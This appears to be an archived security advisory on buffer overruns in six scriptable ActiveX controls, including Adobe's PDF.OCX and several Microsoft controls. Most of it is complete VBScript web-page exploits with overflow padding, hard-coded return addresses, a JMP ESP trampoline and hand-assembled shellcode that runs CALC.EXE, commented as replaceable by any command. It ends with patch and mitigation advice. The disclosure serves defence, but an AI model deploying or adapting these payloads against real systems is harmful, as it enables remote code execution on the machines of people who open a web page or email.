COMMAND

    ActiveX

SYSTEMS AFFECTED

    Win systems

PROBLEM

    Shane Hird found following.  This advisory outlines several buffer
    overruns in  several controls,  and the  vulnerability of  ActiveX
    controls to buffer  overrun attacks in  general.  It  appears that
    the ActiveX/OLE/COM  technology in  general does  no buffer checks
    before  passing  parameters  to  controls,  leaving  the  checking
    up  to  the  control  in  question.   Hence,  many  poorly written
    controls are individually  susceptible to buffer  overrun attacks,
    independent of the environment they are controlled from, and other
    controls on the system.  The following controls are probably  just
    a  few  of  the  vulnerable  controls  which  are  in  common use,
    including one control from a third party vendor (Adobe).   Because
    these  controls  are  marked  as  safe  for scripting, they may be
    exploited through IE through a web page, E-mail, or anywhere  else
    where 'safe' ActiveX controls  may be scripted (ie  some newsgroup
    readers and other E-mail clients).

    Known Affected Controls:

        Acrobat Control for ActiveX   - PDF.OCX       v1.3.188
        Setupctl 1.0 Type Library     - SETUPCTL.DLL  v1, 1, 0, 6
        EYEDOG OLE Control module     - EYEDOG.OCX    v1.1.1.75
        MSN ActiveX Setup BBS Control - SETUPBBS.OCX  v4.71.0.10
        hhopen OLE Control Module     - HHOPEN.OCX    v1, 0, 0, 1
        RegWizCtrl 1.0 Type Library   - REGWIZC.DLL   v3, 0, 0, 0

    Each control contains  at least one  method, which does  incorrect
    handling of strings, and when  manipulating a string too large,  a
    classic buffer overrun  can occur, allowing  arbitrary code to  be
    executed on the client.

    For each exploit, we have full control of the RET address, knowing
    where to RET to  in order to execute  our code is easier  for some
    controls than others.   For the controls  where no known  fixed or
    referenced location of the code  can be found, we will  simply RET
    to ExitProcess, although it  is still possible but  more difficult
    to execute arbitrary code.  For the exploits which are easy to RET
    to  the  code,  we  will  demonstrate  how  to  execute  a program
    (CALC.EXE) using fixed  API locations in  Win98, you will  need to
    modify these addresses depending on the versions in use.  For  the
    exploits,  similar  to  a  couple  other  Win  exploits, a JMP ESP
    is required to get to the  code.  Shane didn't manage to  find one
    in Kernel32 or  IExplore, however there  does appear to  be one in
    Shell32 (version  4.72.3110.6) at  (7FD035EB), you  will also need
    to modify this address depending on your version.  So if you get a
    crash at around this address,  then it is most likely  possible to
    run the exploit, the address just needs to be changed.  It  should
    be noted that arbitrary code  may be executed, not just  running a
    program, this is just an example.  Also, Shane didn't try  posting
    HTML to this forum  before, so hopefully it  will turn out ok,  if
    not, could the moderators please convert the HTML to plaintext  or
    something.

    EYEDOG:
    =======
    With this control, MSInfoLoadFile is the offending method.   There
    is no easy way to RET to our code, so instead, we will show how to
    simply RET to ExitProcess directly.   This will cause the host  to
    terminate.

    <object classid="clsid:06A7EC63-4E21-11D0-A112-00A0C90543AA"id="eye"></object>


    <script language="vbscript">

    msgbox("EYEDOG OLE Control module Buffer Overrun (Local Version)" + Chr(10) + "Written by Shane Hird")

    'Padding for the exploit
    expstr = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

    'RET address (ExitProcess, BFF8D4CA)
    expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191)

    'Call exploitable method (MSInfoLoadFile)
    eye.MSInfoLoadFile(expstr)

    </script>

    HHOPEN:
    =======
    This control  is a  little more  difficult to  exploit, as the RET
    address is in the  middle of the string,  and once again there  is
    no easy way to  RET to our code,  so we have RET'd  to ExitProcess
    directly  instead.   In  this  case,  OpenHelp  is  the vulnerable
    method, and the exploit is possible when the method is called with
    a valid help file, and a long Help Section.

    <object classid="clsid:130D7743-5F5A-11D1-B676-00A0C9697233" id="hhopen"></OBJECT>

    <script language="vbscript">

    msgbox("hhopen OLE Control Module Buffer Overrun" + Chr(10) + "Written By Shane Hird")

    expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

    'Where the RET address appears to be, RET to ExitProcess (BFF8D4CA)
    expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191)

    'Extra padding to trigger the overrun
    expstr = expstr + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

    'Call exploitable method, note the valid help file
    hhopen.OpenHelp "Winhlp32.hlp", expstr

    </script>

    SETUPBBS:
    =========
    When  this  control  is  initialised,  it  will  display  a prompt
    notifying the user that the  control is capable of modifying  Mail
    and News configuration etc and asks the user whether he/she wishes
    the control to proceed.   This control is exploitable through  two
    different  methods,  vAddNewsServer  and  bIsNewsServerConfigured.
    Shane  simply  RET'd  to  ExitProcess  with this exploit, although
    there are other possibilities.

    <object classid="clsid:8F0F5093-0A70-11D0-BCA9-00C04FD85AA6" id="setupbbs"></OBJECT>

    <script language="vbscript">

    msgbox("MSN Setup BBS Buffer Overrun" + Chr(10) + "Written by Shane Hird")

    expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

    'RET address (ExitProcess BFF8D4CA)
    expstr = expstr + Chr(202) + Chr(212) + Chr(248) + Chr(191)

    'This buffer overrun can be triggered by either method.
    'setupbbs.vAddNewsServer expstr, true
    setupbbs.bIsNewsServerConfigured expstr

    </script>

    PDF
    ===
    This  control  from  Adobe  Acrobat,  can be exploited through the
    setview method, and  because ESP points  to the address  after the
    RET address, we can place arbitrary code at this point and JMP  to
    it by RET'ing to  a JMP ESP, in  this case, one found  in Shell32.
    The  code  simply  executes  CALC.EXE  then  calls  ExitProcess to
    terminate the host without it crashing.  Shane attempted to notify
    Adobe of  the issue,  however they  don't appear  to have any form
    of direct secure@ address.

    <object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000" id="pdf"></object>

    <script language="VBscript">

    msgbox("Adobe Acrobat OCX Buffer Overrun" + Chr(10) + "Written by Shane Hird")

    expstr = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

    expstr = expstr + Chr(235)	'Address in SHELL32, Win98 (7FD035EB) of JMP ESP
    expstr = expstr + Chr(53)	'You may need to use a different address
    expstr = expstr + Chr(208)
    expstr = expstr + Chr(127)

    'Stack is slightly trashed, but NOPs fix it up ok
    expstr = expstr + Chr(144) + Chr(144) + Chr(144) + Chr(144) + Chr(144)

    'MOV EDI, ESP
    expstr = expstr + Chr(139) + Chr(252)

    'ADD EDI, 19 (Size of code)
    expstr = expstr + Chr(131) + Chr(199) + Chr(25)

    'PUSH EAX (Window Style EAX = 1)
    expstr = expstr + Chr(80)

    'PUSH EDI (Address of command line)
    expstr = expstr + Chr(87)

    'MOV EDX, BFFA0960 (WinExec, Win98)
    expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191)

    'CALL EDX
    expstr = expstr + Chr(255) + Chr(210)

    'XOR EAX, EAX
    expstr = expstr + Chr(51) + Chr(192)

    'PUSH EAX
    expstr = expstr + Chr(80)

    'MOV EDX, BFF8D4CA (ExitProcess, Win98)
    expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191)

    'CALL EDX
    expstr = expstr + Chr(255) + Chr(210)

    'Replace with any command + 0 (automatically appended)
    expstr = expstr + "CALC.EXE"

    'Call exploitable method
    pdf.setview(expstr)

    </script>

    SETUPCTL
    ========
    Apparently a  control that  was once  used for  the IE  update web
    site which is no longer in use, although it should still exist  on
    a lot of systems.  With this exploit, similar to the PDF  exploit,
    ESP points to  our code so  we simply RET  to the same  JMP ESP in
    Shell32.   Also, this  exploit differs  in that  we set a property
    first  (DistUnit)  with  the  long  string,  then  call the method
    (InstallNow).   Again, Sahne  simply demonstrated  how to  execute
    CALC.EXE, though any code can be executed.

    <object classid="clsid:F72A7B0E-0DD8-11D1-BD6E-00AA00B92AF1" id = "setupctl"></object>

    <script language="vbscript">

    msgbox("Setupctl 1.0 Type Library Buffer Overrun" + Chr(10) + "Written by Shane Hird")

    expstr="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

    expstr = expstr + Chr(235)	'Address in SHELL32, Win98 (7FD035EB) of JMP ESP
    expstr = expstr + Chr(53)	'You may need to use a different address
    expstr = expstr + Chr(208)
    expstr = expstr + Chr(127)

    'NOP for debugging purposes
    expstr = expstr + Chr(144)

    'MOV EDI, ESP
    expstr = expstr + Chr(139) + Chr(252)

    'ADD EDI, 19h (Size of code)
    expstr = expstr + Chr(131) + Chr(199) + Chr(25)

    'PUSH EAX (Window Style EAX = 41414141)
    expstr = expstr + Chr(80)

    'PUSH EDI (Address of command line)
    expstr = expstr + Chr(87)

    'MOV EDX, BFFA0960 (WinExec, Win98)
    expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191)

    'CALL EDX
    expstr = expstr + Chr(255) + Chr(210)

    'XOR EAX, EAX
    expstr = expstr + Chr(51) + Chr(192)

    'PUSH EAX
    expstr = expstr + Chr(80)

    'MOV EDX, BFF8D4CA (ExitProcess, Win98)
    expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191)

    'CALL EDX
    expstr = expstr + Chr(255) + Chr(210)

    'Replace with any command + 0 (automatically appended)
    expstr = expstr + "CALC.EXE"

    'Run exploit
    setupctl.DistUnit = expstr
    setupctl.InstallNow

    </script>

    REGWIZC
    =======
    The Registration Wizard control  used by Microsoft to  register MS
    products also contains a  buffer overrun in the  'InvokeRegWizard'
    method.  When called with a long string, pre-pended with '/i',  we
    can gain control of the RET  address and exploit the control in  a
    similar manner  as the  PDF control.   This exploit  will cause  a
    'Regwiz.log' file to  be created in  the temporary directory,  and
    once again will execute CALC.EXE and terminate the host.

    <object classid="clsid:50E5E3D1-C07E-11D0-B9FD-00A0249F6B00" id="RegWizObj"></object>

    <script language="VbScript" >

    msgbox("Registration Wizard Buffer Overrun" + Chr(10) + "Written by Shane Hird")

    expstr = "/iAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

    'We overflowed to the RET point of the stack
    'No NULL's allowed so ret to <JMP ESP> in Shell32

    expstr = expstr & Chr(235)	'Address in SHELL32, Win98
    (7FD035EB) of JMP ESP
    expstr = expstr & Chr(53)	'You may need to use a
    different address
    expstr = expstr & Chr(208)
    expstr = expstr & Chr(127)


    'NOP for debugging purposes
    expstr = expstr + Chr(144)

    'MOV EDI, ESP
    expstr = expstr + Chr(139) + Chr(252)

    'ADD EDI, 19 (Size of code)
    expstr = expstr + Chr(131) + Chr(199) + Chr(25)

    'PUSH EAX (Window Style EAX = 41414141)
    expstr = expstr + Chr(80)

    'PUSH EDI (Address of command line)
    expstr = expstr + Chr(87)

    'MOV EDX, BFFA0960 (WinExec, Win98)
    expstr = expstr + Chr(186) + Chr(96) + Chr(9) + Chr(250) + Chr(191)

    'CALL EDX
    expstr = expstr + Chr(255) + Chr(210)

    'XOR EAX, EAX
    expstr = expstr + Chr(51) + Chr(192)

    'PUSH EAX
    expstr = expstr + Chr(80)

    'MOV EDX, BFF8D4CA (ExitProcess, Win98)
    expstr = expstr + Chr(186) + Chr(202) + Chr(212) + Chr(248) + Chr(191)

    'CALL EDX
    expstr = expstr + Chr(255) + Chr(210)

    'Replace with any command + 0 (automatically appended)
    expstr = expstr + "CALC.EXE"

    RegWizObj.InvokeRegWizard(expstr)

    </script>

SOLUTION

    Microsoft has been notified of these exploits around a month  ago,
    and is releasing a patch to revoke the hhopen, regwiz and setupctl
    controls, and a previous patch has been released for Eyedog.   For
    the other  controls, and  any others  found to  be vulnerable, see
    Microsoft knowledge base article Q240797 on how to stop an ActiveX
    control from  running in  IE.   If pain  persists, disable ActiveX
    scripting altogether in IE.   How to Stop an ActiveX  Control from
    Running in Internet Explorer

        http://support.microsoft.com/support/kb/articles/q240/7/97.asp

    Buffers passed to a COM object (or ActiveX control: it's the  same
    thing) are marshaled  by the COM  subsystem, and their  size *has*
    to be specified.  YES,  the com subsystem will marshall  data sent
    to/from a 'remote' COM object  (be that a separate process  on the
    same system, or a process on  a remote machine).  But NO,  the com
    subsystem does NOT marshall data  for an inproc server (i.e.   any
    COM     object     exposed     as     a     .DLL,     .OCX,     or
    .whatever-Microsoft-calls-them- today).   If the object  is loaded
    into  the  calling  processes  address  space, then the method and
    property accesses  are not  marshalled.   As the  majority of  COM
    object accesses of the type we are talking about in -this-  thread
    are in fact inproc, then marshalling  is not a factor that can  be
    relied upon.  Anyway, object gets a buffer of that specific  size,
    and buffer checks are  done all over the  place.  The most  common
    way of passing  parameters in ActiveX  controls is through  BSTRs,
    which include  the size  of the  string in  their first character.
    There's  no  way  to  overflow  a  BSTR.   The  buffer   overflows
    discovered arise from a  situation where the programmer  extracted
    the  buffer  from  the  BSTR,  and  put it into a simple character
    array of the form:   char[256], without bothering to check  if the
    fixed size  of the  character array  is large  enough to  hold the
    string.  The COM architecture  has nothing to do with  this buffer
    overflow  (on  the  contrary:  it  makes  it  very  difficult  for
    programmers to create buffer overflows.

    Clarification --  if the  caller and  the object  are in different
    apartments -- even within the same process -- marshaling occurs.